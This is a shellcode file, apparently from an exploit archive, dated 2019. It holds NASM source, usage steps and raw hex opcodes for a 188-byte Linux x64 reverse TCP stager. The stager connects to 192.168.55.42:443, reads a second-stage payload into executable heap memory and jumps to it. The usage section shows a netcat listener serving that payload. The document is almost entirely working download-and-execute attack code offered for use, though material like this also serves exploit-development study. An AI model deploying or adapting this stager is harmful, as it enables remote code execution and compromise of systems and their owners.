;# Title: Linux/x64 - Reverse TCP Stager Shellcode (188 bytes)
;# Date: 2019-12-16
;# Author: Lee Mazzoleni
;# Tested on: Ubuntu 18.04.2 LTS
; reverse tcp stager - download and execute up to 4096 bytes of additional payload - no null bytes in this
; this code is 188 bytes total (less if you delete the exit() syscall at the end)
global _start
section .text
_start:
;// =================>
;// HEAP ALLOCATION =>
;// =================>
xor rax, rax
mov al, 6
mov cl, 2
imul ax, cx ;// int brk()
xor rdi, rdi
syscall ;// brk()
xor rax, rax
mov al, 2
mov cl, 6
imul ax, cx
xor rdi, rdi
mov dil, 128
imul di, 32
syscall ;// brk(0x1000) - 4096 bytes
xchg rcx, rax ;// save addr of our allocated memory in rcx
;//=======================>
;// MAP HEAP PERMISSIONS =>
;//=======================>
xor rax, rax
mov al, 9
xchg rdi, rcx
xor rsi, rsi
mov sil, 128
imul si, 32
xor rdx, rdx
mov dl, 0x7
xor r10, r10
mov r10b, 0x21
xor r9, r9
mov r8, -1
syscall ;// mmap(addr, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, -1, 0)
mov r9, rax ;// save heap address in r9
;// ===================>
;// SOCKET CONNECTION =>
;// ===================>
xor rax, rax
mov al, 41 ;// int socket()
xor rdi, rdi
inc rdi
inc rdi ;// AF_INET
xor rsi, rsi
inc rsi ;// SOCK_STREAM
xor rdx, rdx
mov dl, 6 ;// IPPROTO_TCP
syscall ;// socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
push rax
pop rdi ;// save the socket's fd in rdi for connect() to use
xor rax, rax
push rax
mov dword [rsp-4], 0x2a37a8c0 ;// 192.168.55.42
mov word [rsp-6], 0xbb01 ;// port 443 in lil' endian
sub rsp, 6
push word 0x2
xor rax, rax
mov al, 42 ;// int connect()
mov rsi, rsp
xor rdx, rdx
mov dl, 16
syscall ;// connect(3, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("192.168.55.42")}, 16)
;// ====================================>
;// READ CODE FROM SOCKET FD INTO HEAP =>
;// ====================================>
mov rsi, r9 ;// heap addr still saved in r9
xor rdx, rdx
mov dl, 41 ;// CHANGE THIS NUMBER TO SUIT THE SIZE OF YOUR PAYLOAD (41-byte payload used in testing)
xor rax, rax
syscall ;// read(3, heap_addr, SIZE)
;// =================>
;// CLOSE SOCKET FD =>
;// =================>
xor rax, rax
mov al, 3
syscall ;// close(3)
jmp r9 ;// jmp to the heap address in r9 and execute the downloaded payload
;// =========>
;// EXIT(0) => this bit is unnecessary if your payload already calls exit()
;// =========>
xor rax, rax
mov al, 60
xor rdi, rdi
syscall
; ===============>
; ===== Usage ===>
; ===============>
; =========================================================================================
; this program downloads a secondary payload from a remote host, and executes it.
; in this example, the payload used will be a simple hello-world-like program (hello.asm):
; =========================================================================================
; global _start
; section .text
; _start:
; mov rax, 1
; mov rdi, 1
; mov rsi, 0x0a21216f6c6c6548 ; "Hello!!\n"
; push rsi
; mov rsi, rsp
; mov rdx, 8
; syscall
; mov rax, 60
; xor rdi, rdi
; syscall
; =========================================================================================
; 1.) compile your payload:
; -----------------------------------------------------------------------------------------
; nasm -f elf64 hello.asm -o hello.o && ld hello.o -o hello && rm hello.o
; =========================================================================================
; 2.) retrieve the opcodes for the payload:
; -----------------------------------------------------------------------------------------
; objdump -d hello|grep -v '^$\|start>\|file format\|Disassembly'|cut -d' ' -f2-9|sed -E "s/\ [0-9a-f]{6}://g"|grep -Eo '[a-f0-9]{2}'|tr -d '\n' ; echo
; b801000000bf0100000048be48656c6c6f21210a564889e6ba080000000f05b83c0000004831ff0f05
; =========================================================================================
; 3.) count how many bytes are in your payload (41 bytes) and update line 86 to reflect this:
; -----------------------------------------------------------------------------------------
; echo b801000000bf0100000048be48656c6c6f21210a564889e6ba080000000f05b83c0000004831ff0f05|grep -Eo '[a-f0-9]{2}'|wc -l
; 41
; =========================================================================================
; 4.) decode the bytes into raw form and serve it via netcat listener:
; -----------------------------------------------------------------------------------------
; echo -n b801000000bf0100000048be48656c6c6f21210a564889e6ba080000000f05b83c0000004831ff0f05 | xxd -r -p > payload
; nc -lvp 443 < payload
; listening on [any] 443 ...
; =========================================================================================
; 5.) one last step before compiling this stager, add your own IP address to line 69:
; -----------------------------------------------------------------------------------------
; import struct, socket
; print(hex(struct.unpack('<L', socket.inet_aton('192.168.55.42'))[0]))
; 0x2a37a8c0
; =========================================================================================
; 6.) compile and run this shellcode - it will connect to your netcat listener, download & exec the raw payload
; -----------------------------------------------------------------------------------------
; nasm -f elf64 stager.asm -o stager.o && ld stager.o -o stager && rm stager.o
; ./stager
; Hello!!
; =========================================================================================
; Raw paste:
; 4831c0b006b102660fafc14831ff0f054831c0b002b106660fafc14831ff40b780666bff200f0548914831c0b0094887f94831f640b680666bf6204831d2b2074d31d241b2214d31c949c7c0ffffffff0f054989c14831c0b0294831ff48ffc748ffc74831f648ffc64831d2b2060f05505f4831c050c74424fcc0a8372a66c74424fa01bb4883ec06666a024831c0b02a4889e64831d2b2100f054c89ce4831d2b2294831c00f054831c0b0030f0541ffe14831c0b03c4831ff0f05